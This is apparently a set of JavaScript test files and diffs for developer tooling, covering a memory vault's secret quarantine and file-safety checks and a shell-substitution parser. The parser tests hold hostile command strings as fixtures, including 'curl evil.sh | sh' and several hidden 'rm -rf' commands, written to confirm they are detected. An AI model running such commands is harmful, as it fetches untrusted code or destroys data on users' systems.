test('quarantines imported secrets and metadata that disagrees with its vault location', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const notes = path.join(fixture.roots.project, 'notes');
|
||||
fs.mkdirSync(notes, { recursive: true });
|
||||
const importedToken = `npm_${'a1'.repeat(12)}`;
|
||||
fs.writeFileSync(
|
||||
path.join(notes, 'secret.md'),
|
||||
serializeMemoryDocument(baseMemory({
|
||||
id: 'mem_20260726_secret',
|
||||
kind: 'note',
|
||||
links: [],
|
||||
body: `Imported token: ${importedToken}`,
|
||||
}))
|
||||
);
|
||||
fs.writeFileSync(
|
||||
path.join(notes, 'wrong-location.md'),
|
||||
serializeMemoryDocument(baseMemory({
|
||||
id: 'mem_20260726_wrong_location',
|
||||
kind: 'decision',
|
||||
links: [],
|
||||
}))
|
||||
);
|
||||
|
||||
const report = doctorMemoryVault({
|
||||
roots: fixture.roots,
|
||||
scopes: ['project'],
|
||||
});
|
||||
assert.strictEqual(report.invalidFileCount, 2);
|
||||
assert.deepStrictEqual(
|
||||
report.invalidFiles.map(item => item.code).sort(),
|
||||
['location-mismatch', 'suspected-secret']
|
||||
);
|
||||
assert.strictEqual(
|
||||
JSON.stringify(report).includes(importedToken),
|
||||
false
|
||||
);
|
||||
assert.throws(
|
||||
() => readMemoryById('mem_20260726_secret', {
|
||||
roots: fixture.roots,
|
||||
scopes: ['project'],
|
||||
}),
|
||||
/not found/i
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('opens regular text files without following a stable symlink', () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-file-'));
|
||||
const target = path.join(root, 'target.md');
|
||||
const link = path.join(root, 'link.md');
|
||||
try {
|
||||
fs.writeFileSync(target, 'safe');
|
||||
fs.symlinkSync(target, link);
|
||||
assert.strictEqual(readRegularTextFile(target, { maxBytes: 16 }), 'safe');
|
||||
assert.throws(
|
||||
() => readRegularTextFile(link, { maxBytes: 16 }),
|
||||
/non-symlink|symbolic link|symlink/i
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects malformed UTF-8 instead of altering durable text', () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-utf8-'));
|
||||
const target = path.join(root, 'invalid.md');
|
||||
try {
|
||||
fs.writeFileSync(target, Buffer.from([0x61, 0xc3, 0x28, 0x62]));
|
||||
assert.throws(
|
||||
() => readRegularTextFile(target, { maxBytes: 16 }),
|
||||
/valid UTF-8/i
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('opens a file descriptor before inspecting path metadata', () => {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-open-first-'));
|
||||
const target = path.join(root, 'target.md');
|
||||
const originalOpenSync = fs.openSync;
|
||||
const originalLstatSync = fs.lstatSync;
|
||||
let descriptorOpened = false;
|
||||
try {
|
||||
fs.writeFileSync(target, 'safe');
|
||||
fs.openSync = (...args) => {
|
||||
const descriptor = originalOpenSync(...args);
|
||||
descriptorOpened = true;
|
||||
return descriptor;
|
||||
};
|
||||
fs.lstatSync = (...args) => {
|
||||
assert.strictEqual(
|
||||
descriptorOpened,
|
||||
true,
|
||||
'path metadata must not be used as a precondition for opening the file'
|
||||
);
|
||||
return originalLstatSync(...args);
|
||||
};
|
||||
|
||||
assert.strictEqual(readRegularTextFile(target, { maxBytes: 16 }), 'safe');
|
||||
} finally {
|
||||
fs.openSync = originalOpenSync;
|
||||
fs.lstatSync = originalLstatSync;
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects a FIFO body path without blocking', () => {
|
||||
if (process.platform === 'win32') return;
|
||||
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-fifo-'));
|
||||
const fifo = path.join(root, 'body.pipe');
|
||||
try {
|
||||
const created = spawnSync('mkfifo', [fifo], { encoding: 'utf8' });
|
||||
assert.strictEqual(created.status, 0, created.stderr || created.error?.message);
|
||||
const modulePath = require.resolve('../../scripts/lib/memory-vault');
|
||||
const childScript = `
|
||||
const { readRegularTextFile } = require(${JSON.stringify(modulePath)});
|
||||
try {
|
||||
readRegularTextFile(${JSON.stringify(fifo)}, { maxBytes: 16 });
|
||||
process.exitCode = 2;
|
||||
} catch (error) {
|
||||
if (!/regular|non-symlink/i.test(error.message)) process.exitCode = 3;
|
||||
}
|
||||
`;
|
||||
const result = spawnSync(process.execPath, ['-e', childScript], {
|
||||
encoding: 'utf8',
|
||||
timeout: 2_000,
|
||||
});
|
||||
assert.strictEqual(
|
||||
result.status,
|
||||
0,
|
||||
result.error?.message || result.stderr || 'FIFO read did not fail safely'
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('requires explicit user scope for recall', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
saveMemory({
|
||||
title: 'Operator preference',
|
||||
body: 'Use concise handoffs.',
|
||||
scope: 'user',
|
||||
}, fixedOptions(fixture.roots, 'mem_20260726_user'));
|
||||
assert.throws(
|
||||
() => readMemoryById('mem_20260726_user', { roots: fixture.roots }),
|
||||
/not found/i
|
||||
);
|
||||
const recalled = readMemoryById('mem_20260726_user', {
|
||||
roots: fixture.roots,
|
||||
scopes: ['user'],
|
||||
});
|
||||
assert.strictEqual(recalled.memory.scope, 'user');
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('search ranks title and tags above body-only matches and filters harness targets', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
saveMemory({
|
||||
title: 'Authentication design',
|
||||
body: 'Primary decision',
|
||||
kind: 'decision',
|
||||
sourceHarness: 'claude',
|
||||
targetHarnesses: ['all'],
|
||||
tags: ['auth'],
|
||||
}, fixedOptions(fixture.roots, 'mem_20260726_auth'));
|
||||
saveMemory({
|
||||
title: 'Background note',
|
||||
body: 'Authentication is mentioned once in the body.',
|
||||
kind: 'note',
|
||||
sourceHarness: 'hermes',
|
||||
targetHarnesses: ['hermes'],
|
||||
}, fixedOptions(fixture.roots, 'mem_20260726_background'));
|
||||
const superseded = baseMemory({
|
||||
id: 'mem_20260726_superseded',
|
||||
title: 'Authentication legacy note',
|
||||
kind: 'note',
|
||||
status: 'superseded',
|
||||
links: [],
|
||||
});
|
||||
fs.writeFileSync(
|
||||
path.join(fixture.roots.project, 'notes', 'superseded.md'),
|
||||
serializeMemoryDocument(superseded)
|
||||
);
|
||||
|
||||
const all = searchMemories('authentication', { roots: fixture.roots });
|
||||
assert.deepStrictEqual(
|
||||
all.results.map(result => result.memory.id),
|
||||
['mem_20260726_auth', 'mem_20260726_background']
|
||||
);
|
||||
assert.ok(all.results[0].score > all.results[1].score);
|
||||
assert.strictEqual(Object.hasOwn(all.results[0].memory, 'body'), false);
|
||||
|
||||
const forClaude = searchMemories('authentication', {
|
||||
roots: fixture.roots,
|
||||
targetHarness: 'claude',
|
||||
});
|
||||
assert.deepStrictEqual(
|
||||
forClaude.results.map(result => result.memory.id),
|
||||
['mem_20260726_auth']
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('reads backlinks derived from links without mutating either document', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
saveMemory(
|
||||
{ title: 'Original decision', body: 'Use SQLite.', kind: 'decision' },
|
||||
fixedOptions(fixture.roots, 'mem_20260726_original')
|
||||
);
|
||||
saveMemory(
|
||||
{
|
||||
title: 'Follow-up',
|
||||
body: 'Keep the file vault as source of truth.',
|
||||
links: ['mem_20260726_original'],
|
||||
},
|
||||
fixedOptions(fixture.roots, 'mem_20260726_followup')
|
||||
);
|
||||
fs.writeFileSync(
|
||||
path.join(fixture.roots.project, 'notes', 'rejected-backlink.md'),
|
||||
serializeMemoryDocument(baseMemory({
|
||||
id: 'mem_20260726_rejected_backlink',
|
||||
title: 'Rejected follow-up',
|
||||
kind: 'note',
|
||||
status: 'rejected',
|
||||
links: ['mem_20260726_original'],
|
||||
}))
|
||||
);
|
||||
|
||||
const result = readMemoryById('mem_20260726_original', { roots: fixture.roots });
|
||||
assert.deepStrictEqual(
|
||||
result.backlinks.map(memory => memory.id),
|
||||
['mem_20260726_followup']
|
||||
);
|
||||
assert.strictEqual(Object.hasOwn(result.backlinks[0], 'body'), false);
|
||||
assert.strictEqual(result.backlinksTruncated, false);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('doctor reports malformed files, broken links, duplicate IDs, and skipped symlinks', () => {
|
||||
const fixture = createFixture();
|
||||
const outside = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-outside-'));
|
||||
try {
|
||||
saveMemory(
|
||||
{
|
||||
title: 'Broken link',
|
||||
body: 'References a missing memory.',
|
||||
links: ['mem_20260726_missing'],
|
||||
},
|
||||
fixedOptions(fixture.roots, 'mem_20260726_broken')
|
||||
);
|
||||
|
||||
const duplicate = baseMemory({
|
||||
id: 'mem_20260726_broken',
|
||||
title: 'Duplicate',
|
||||
kind: 'fact',
|
||||
scope: 'team',
|
||||
links: [],
|
||||
});
|
||||
fs.mkdirSync(path.join(fixture.roots.team, 'facts'), { recursive: true });
|
||||
fs.writeFileSync(
|
||||
path.join(fixture.roots.team, 'facts', 'duplicate.md'),
|
||||
serializeMemoryDocument(duplicate)
|
||||
);
|
||||
fs.mkdirSync(path.join(fixture.roots.project, 'notes'), { recursive: true });
|
||||
fs.writeFileSync(path.join(fixture.roots.project, 'notes', 'malformed.md'), 'not memory');
|
||||
const malformedSecret = `ghp_${'Z9'.repeat(12)}`;
|
||||
fs.writeFileSync(
|
||||
path.join(fixture.roots.project, 'notes', 'malformed-secret.md'),
|
||||
`---\n${malformedSecret}: nope\n---\n`
|
||||
);
|
||||
|
||||
const outsideFile = path.join(outside, 'outside.md');
|
||||
fs.writeFileSync(outsideFile, serializeMemoryDocument(baseMemory({ links: [] })));
|
||||
try {
|
||||
fs.symlinkSync(outsideFile, path.join(fixture.roots.project, 'notes', 'linked.md'));
|
||||
} catch {
|
||||
// Symlink creation can be unavailable on Windows CI.
|
||||
}
|
||||
|
||||
const report = doctorMemoryVault({ roots: fixture.roots });
|
||||
assert.strictEqual(report.ok, false);
|
||||
assert.ok(report.invalidFiles.some(item => item.path.endsWith('malformed.md')));
|
||||
assert.strictEqual(JSON.stringify(report).includes(malformedSecret), false);
|
||||
assert.deepStrictEqual(report.duplicateIds[0].id, 'mem_20260726_broken');
|
||||
assert.deepStrictEqual(report.brokenLinks[0].targetId, 'mem_20260726_missing');
|
||||
if (fs.existsSync(path.join(fixture.roots.project, 'notes', 'linked.md'))) {
|
||||
assert.ok(report.skippedSymlinks.some(item => item.endsWith('linked.md')));
|
||||
}
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
fs.rmSync(outside, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('doctor caps traversal before an oversized directory can dominate recall', () => {
|
||||
const fixture = createFixture();
|
||||
const notes = path.join(fixture.roots.project, 'notes');
|
||||
try {
|
||||
fs.mkdirSync(notes, { recursive: true });
|
||||
for (let index = 0; index < MAX_FILES + 1; index += 1) {
|
||||
fs.writeFileSync(path.join(notes, `noise-${index}.txt`), '');
|
||||
}
|
||||
const report = doctorMemoryVault({
|
||||
roots: fixture.roots,
|
||||
scopes: ['project'],
|
||||
});
|
||||
assert.strictEqual(report.truncated, true);
|
||||
assert.strictEqual(report.memoryCount, 0);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('doctor caps hostile diagnostics and reports total counts', () => {
|
||||
const fixture = createFixture();
|
||||
const notes = path.join(fixture.roots.project, 'notes');
|
||||
try {
|
||||
fs.mkdirSync(notes, { recursive: true });
|
||||
const invalidFileTotal = MAX_DIAGNOSTICS + 20;
|
||||
for (let index = 0; index < invalidFileTotal; index += 1) {
|
||||
fs.writeFileSync(path.join(notes, `malformed-${index}.md`), 'not memory');
|
||||
}
|
||||
const missingLinks = Array.from(
|
||||
{ length: 64 },
|
||||
(_, index) => `mem_missing_${String(index).padStart(3, '0')}`
|
||||
);
|
||||
const linkDocumentCount = Math.ceil((MAX_DIAGNOSTICS + 1) / missingLinks.length);
|
||||
for (let index = 0; index < linkDocumentCount; index += 1) {
|
||||
fs.writeFileSync(
|
||||
path.join(notes, `links-${index}.md`),
|
||||
serializeMemoryDocument(baseMemory({
|
||||
id: `mem_links_${String(index).padStart(3, '0')}`,
|
||||
kind: 'note',
|
||||
links: missingLinks.map(link => `${link}_${index}`),
|
||||
}))
|
||||
);
|
||||
}
|
||||
|
||||
const report = doctorMemoryVault({
|
||||
roots: fixture.roots,
|
||||
scopes: ['project'],
|
||||
});
|
||||
assert.strictEqual(report.invalidFileCount, invalidFileTotal);
|
||||
assert.strictEqual(report.invalidFiles.length, MAX_DIAGNOSTICS);
|
||||
assert.strictEqual(report.brokenLinkCount, linkDocumentCount * missingLinks.length);
|
||||
assert.strictEqual(report.brokenLinks.length, MAX_DIAGNOSTICS);
|
||||
assert.strictEqual(report.diagnosticsTruncated, true);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('doctor enforces one aggregate scan-byte budget across a request', () => {
|
||||
const fixture = createFixture();
|
||||
const notes = path.join(fixture.roots.project, 'notes');
|
||||
try {
|
||||
fs.mkdirSync(notes, { recursive: true });
|
||||
const bodyBytes = 63 * 1024;
|
||||
const fileTotal = Math.ceil(MAX_SCAN_BYTES / bodyBytes) + 2;
|
||||
for (let index = 0; index < fileTotal; index += 1) {
|
||||
const id = `mem_scan_${String(index).padStart(4, '0')}`;
|
||||
fs.writeFileSync(
|
||||
path.join(notes, `${id}.md`),
|
||||
serializeMemoryDocument(baseMemory({
|
||||
id,
|
||||
kind: 'note',
|
||||
links: [],
|
||||
body: 'x'.repeat(bodyBytes),
|
||||
}))
|
||||
);
|
||||
}
|
||||
const report = doctorMemoryVault({
|
||||
roots: fixture.roots,
|
||||
scopes: ['project'],
|
||||
});
|
||||
assert.strictEqual(report.truncated, true);
|
||||
assert.ok(report.scannedBytes <= MAX_SCAN_BYTES);
|
||||
assert.ok(report.memoryCount < fileTotal);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
if (failed > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
@@ -658,7 +658,7 @@ function runTests() {
|
||||
|
||||
const claudeRoot = path.join(homeDir, '.claude');
|
||||
// Security skill should be installed (from --with)
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'security-review', 'SKILL.md')),
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'security-review', 'SKILL.md')),
|
||||
'Should install security-review skill from --with');
|
||||
// Core profile modules should be installed
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'rules', 'ecc', 'common', 'coding-style.md')),
|
||||
@@ -697,12 +697,12 @@ function runTests() {
|
||||
|
||||
const claudeRoot = path.join(homeDir, '.claude');
|
||||
// Orchestration skills should NOT be installed (from --without)
|
||||
assert.ok(!fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'dmux-workflows', 'SKILL.md')),
|
||||
assert.ok(!fs.existsSync(path.join(claudeRoot, 'skills', 'dmux-workflows', 'SKILL.md')),
|
||||
'Should not install orchestration skills');
|
||||
// Developer profile base modules should be installed
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'rules', 'ecc', 'common', 'coding-style.md')),
|
||||
'Should install core rules');
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'tdd-workflow', 'SKILL.md')),
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'tdd-workflow', 'SKILL.md')),
|
||||
'Should install workflow skills');
|
||||
|
||||
const statePath = path.join(claudeRoot, 'ecc', 'install-state.json');
|
||||
@@ -735,7 +735,7 @@ function runTests() {
|
||||
|
||||
const claudeRoot = path.join(homeDir, '.claude');
|
||||
// framework-language skill (from lang:typescript) should be installed
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'coding-standards', 'SKILL.md')),
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'skills', 'coding-standards', 'SKILL.md')),
|
||||
'Should install framework-language skills');
|
||||
// Its dependencies should be installed
|
||||
assert.ok(fs.existsSync(path.join(claudeRoot, 'rules', 'ecc', 'common', 'coding-style.md')),
|
||||
@@ -771,11 +771,11 @@ function runTests() {
|
||||
|
||||
const claudeRoot = path.join(homeDir, '.claude');
|
||||
assert.ok(
|
||||
fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'continuous-learning-v2', 'SKILL.md')),
|
||||
fs.existsSync(path.join(claudeRoot, 'skills', 'continuous-learning-v2', 'SKILL.md')),
|
||||
'Should install continuous-learning-v2'
|
||||
);
|
||||
assert.ok(
|
||||
!fs.existsSync(path.join(claudeRoot, 'skills', 'ecc', 'tdd-workflow', 'SKILL.md')),
|
||||
!fs.existsSync(path.join(claudeRoot, 'skills', 'tdd-workflow', 'SKILL.md')),
|
||||
'Should not install unrelated workflow-quality skills'
|
||||
);
|
||||
|
||||
|
||||
@@ -0,0 +1,205 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const {
|
||||
extractCommandSubstitutions,
|
||||
extractSubshellGroups,
|
||||
extractBraceGroups,
|
||||
} = require('../../scripts/lib/shell-substitution');
|
||||
|
||||
console.log('=== Testing shell-substitution.js ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
function test(desc, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` ✓ ${desc}`);
|
||||
passed++;
|
||||
} catch (e) {
|
||||
console.log(` ✗ ${desc}: ${e.message}`);
|
||||
if (e.stack) console.log(e.stack);
|
||||
failed++;
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// extractCommandSubstitutions
|
||||
// -------------------------------------------------------------------------
|
||||
console.log('extractCommandSubstitutions - basics:');
|
||||
test('extracts a $() body', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo $(whoami)'), ['whoami']);
|
||||
});
|
||||
test('extracts a backtick body', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo `whoami`'), ['whoami']);
|
||||
});
|
||||
test('extracts multiple bodies in order', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('a=$(one) b=$(two)'), ['one', 'two']);
|
||||
});
|
||||
test('returns [] when there is no substitution', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo hello'), []);
|
||||
});
|
||||
|
||||
console.log('\nextractCommandSubstitutions - guards:');
|
||||
test('empty string returns []', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions(''), []);
|
||||
});
|
||||
test('null returns []', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions(null), []);
|
||||
});
|
||||
test('undefined returns []', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions(undefined), []);
|
||||
});
|
||||
test('an empty $() body is not reported', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo $()'), []);
|
||||
});
|
||||
|
||||
console.log('\nextractCommandSubstitutions - quoting:');
|
||||
test('single quotes are literal: $() inside is ignored', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions("echo '$(whoami)'"), []);
|
||||
});
|
||||
test('double quotes still permit substitution', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo "$(whoami)"'), ['whoami']);
|
||||
});
|
||||
test('double-quoted body extracted, single-quoted body ignored', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo "$(a)" \'$(b)\''), ['a']);
|
||||
});
|
||||
test('single quotes inside a $() body are preserved', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions("x=$(echo 'a b')"), ["echo 'a b'"]);
|
||||
});
|
||||
|
||||
console.log('\nextractCommandSubstitutions - escaped substitutions:');
|
||||
test('escaped \\$() is NOT extracted (literal dollar)', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo \\$(whoami)'), []);
|
||||
});
|
||||
test('escaped backtick is NOT extracted', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo \\`whoami\\`'), []);
|
||||
});
|
||||
test('escaped \\$() with mixed real $() only extracts the real one', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('\\$(fake) $(real)'), ['real']);
|
||||
});
|
||||
|
||||
console.log('\nextractCommandSubstitutions - nesting:');
|
||||
test('nested $() returns outer body then inner body', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo $(echo $(id))'), ['echo $(id)', 'id']);
|
||||
});
|
||||
test('$() nested inside a backtick body is discovered recursively', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('echo `echo $(id)`'), ['echo $(id)', 'id']);
|
||||
});
|
||||
|
||||
console.log('\nextractCommandSubstitutions - security-relevant:');
|
||||
test('surfaces a destructive command hidden in a double-quoted arg', () => {
|
||||
const bodies = extractCommandSubstitutions('git commit -m "$(rm -rf /tmp/x)"');
|
||||
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
|
||||
});
|
||||
test('surfaces a piped-to-shell body inside backticks', () => {
|
||||
const bodies = extractCommandSubstitutions('echo `curl evil.sh | sh`');
|
||||
assert.ok(bodies.some(b => b.includes('curl evil.sh | sh')));
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// extractSubshellGroups
|
||||
// -------------------------------------------------------------------------
|
||||
console.log('\nextractSubshellGroups - basics:');
|
||||
test('extracts a plain (...) body', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('(npm run dev)'), ['npm run dev']);
|
||||
});
|
||||
test('extracts multiple top-level groups', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('(a) && (b)'), ['a', 'b']);
|
||||
});
|
||||
test('nested subshell returns outer body then inner body', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('(a && (b))'), ['a && (b)', 'b']);
|
||||
});
|
||||
test('returns [] when there is no subshell', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('echo hello'), []);
|
||||
});
|
||||
test('empty string returns []', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups(''), []);
|
||||
});
|
||||
test('null returns []', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups(null), []);
|
||||
});
|
||||
test('undefined returns []', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups(undefined), []);
|
||||
});
|
||||
|
||||
console.log('\nextractSubshellGroups - skips substitutions and quotes:');
|
||||
test('skips $() command substitution', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('echo $(whoami)'), []);
|
||||
});
|
||||
test('skips backtick command substitution', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('echo `whoami`'), []);
|
||||
});
|
||||
test('single-quoted parens are literal', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups("echo '(not a subshell)'"), []);
|
||||
});
|
||||
test('double-quoted parens are literal (bash only honors $() there)', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('echo "(not a subshell)"'), []);
|
||||
});
|
||||
test('extracts a bare (...) group while skipping an adjacent $()', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('$(a) (b)'), ['b']);
|
||||
});
|
||||
|
||||
console.log('\nextractSubshellGroups - security-relevant:');
|
||||
test('surfaces a destructive command inside a subshell', () => {
|
||||
const bodies = extractSubshellGroups('echo safe; (rm -rf /tmp/x)');
|
||||
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// extractBraceGroups
|
||||
// -------------------------------------------------------------------------
|
||||
console.log('\nextractBraceGroups - basics:');
|
||||
test('extracts a { ...; } body', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('{ npm run dev; }'), [' npm run dev; ']);
|
||||
});
|
||||
test('nested brace group returns outer body then inner body', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('{ a; { b; }; }'), [' a; { b; }; ', ' b; ']);
|
||||
});
|
||||
test('returns [] when there is no brace group', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('echo hello'), []);
|
||||
});
|
||||
test('empty string returns []', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups(''), []);
|
||||
});
|
||||
test('null returns []', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups(null), []);
|
||||
});
|
||||
test('undefined returns []', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups(undefined), []);
|
||||
});
|
||||
|
||||
console.log('\nextractBraceGroups - reserved-word semantics:');
|
||||
test('{ requires a following space to open a group', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('{npm run dev}'), []);
|
||||
});
|
||||
test('{ must be preceded by a boundary (not part of a token)', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('foo{ bar; }'), []);
|
||||
});
|
||||
test('opens after a ; operator boundary', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('true;{ rm -rf x; }'), [' rm -rf x; ']);
|
||||
});
|
||||
test('} closes only after a boundary; foo}bar does not close early', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('{ echo foo}bar; }'), [' echo foo}bar; ']);
|
||||
});
|
||||
|
||||
console.log('\nextractBraceGroups - skips substitutions and quotes:');
|
||||
test('single-quoted braces are literal', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups("echo '{ x; }'"), []);
|
||||
});
|
||||
test('double-quoted braces are literal', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('echo "{ x; }"'), []);
|
||||
});
|
||||
test('a $() span inside the body is retained, not treated as a close', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('{ echo $(date); }'), [' echo $(date); ']);
|
||||
});
|
||||
|
||||
console.log('\nextractBraceGroups - security-relevant:');
|
||||
test('surfaces a destructive command inside a brace group', () => {
|
||||
const bodies = extractBraceGroups('true && { rm -rf /tmp/x; }');
|
||||
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
|
||||
});
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
@@ -108,6 +108,24 @@ async function main() {
|
||||
),
|
||||
])
|
||||
|
||||
tests.push([
|
||||
"format-code: normalizes Windows backslash paths to forward slashes",
|
||||
async () => withTempProject(
|
||||
["tsconfig.json", "src/index.ts"],
|
||||
async (projectDir) => {
|
||||
const context = createMockContext(projectDir)
|
||||
const result = await tools.formatcode.execute(
|
||||
{ filePath: "src\\index.ts" },
|
||||
context
|
||||
)
|
||||
const parsed = JSON.parse(result)
|
||||
assert.strictEqual(parsed.success, true)
|
||||
assert.ok(parsed.command.includes("src/index.ts"), `expected forward slashes in command: ${parsed.command}`)
|
||||
assert.ok(!parsed.command.includes("src\\index.ts"), `unexpected backslashes in command: ${parsed.command}`)
|
||||
}
|
||||
),
|
||||
])
|
||||
|
||||
tests.push([
|
||||
"format-code: detects Python formatter",
|
||||
async () => withTempProject(
|
||||
|
||||
@@ -43,6 +43,29 @@ function cleanup(dirPath) {
|
||||
fs.rmSync(dirPath, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
function withTempDir(prefix, fn) {
|
||||
const dirPath = createTempDir(prefix);
|
||||
try {
|
||||
return fn(dirPath);
|
||||
} finally {
|
||||
cleanup(dirPath);
|
||||
}
|
||||
}
|
||||
|
||||
test('withTempDir removes temp directories when the callback throws', () => {
|
||||
let createdDir = '';
|
||||
assert.throws(() => {
|
||||
withTempDir('ecc-test-', dirPath => {
|
||||
createdDir = dirPath;
|
||||
assert.ok(fs.existsSync(createdDir));
|
||||
throw new Error('fixture failure');
|
||||
});
|
||||
}, /fixture failure/);
|
||||
|
||||
assert.ok(createdDir);
|
||||
assert.ok(!fs.existsSync(createdDir));
|
||||
});
|
||||
|
||||
function writeFile(rootDir, relativePath, content) {
|
||||
const targetPath = path.join(rootDir, relativePath);
|
||||
fs.mkdirSync(path.dirname(targetPath), { recursive: true });
|
||||
@@ -247,6 +270,43 @@ test('readFrontmatter parses array tools field', () => {
|
||||
cleanup(testRoot);
|
||||
});
|
||||
|
||||
test('readFrontmatter preserves scoped tools in legacy flow sequences', () => {
|
||||
const { readFrontmatter } = require(SCRIPT);
|
||||
withTempDir('ecc-test-', tempDir => {
|
||||
writeFile(tempDir, 'agent.md', [
|
||||
'---',
|
||||
'name: scoped-agent',
|
||||
'tools: [Agent(worker, researcher), Read, Bash(git commit:*, git status:*)]',
|
||||
'---',
|
||||
'body',
|
||||
].join('\n'));
|
||||
|
||||
const fm = readFrontmatter(path.join(tempDir, 'agent.md'));
|
||||
assert.deepStrictEqual(fm.tools, [
|
||||
'Agent(worker, researcher)',
|
||||
'Read',
|
||||
'Bash(git commit:*, git status:*)',
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
test('readFrontmatter normalizes comma-separated scalar tools to an array', () => {
|
||||
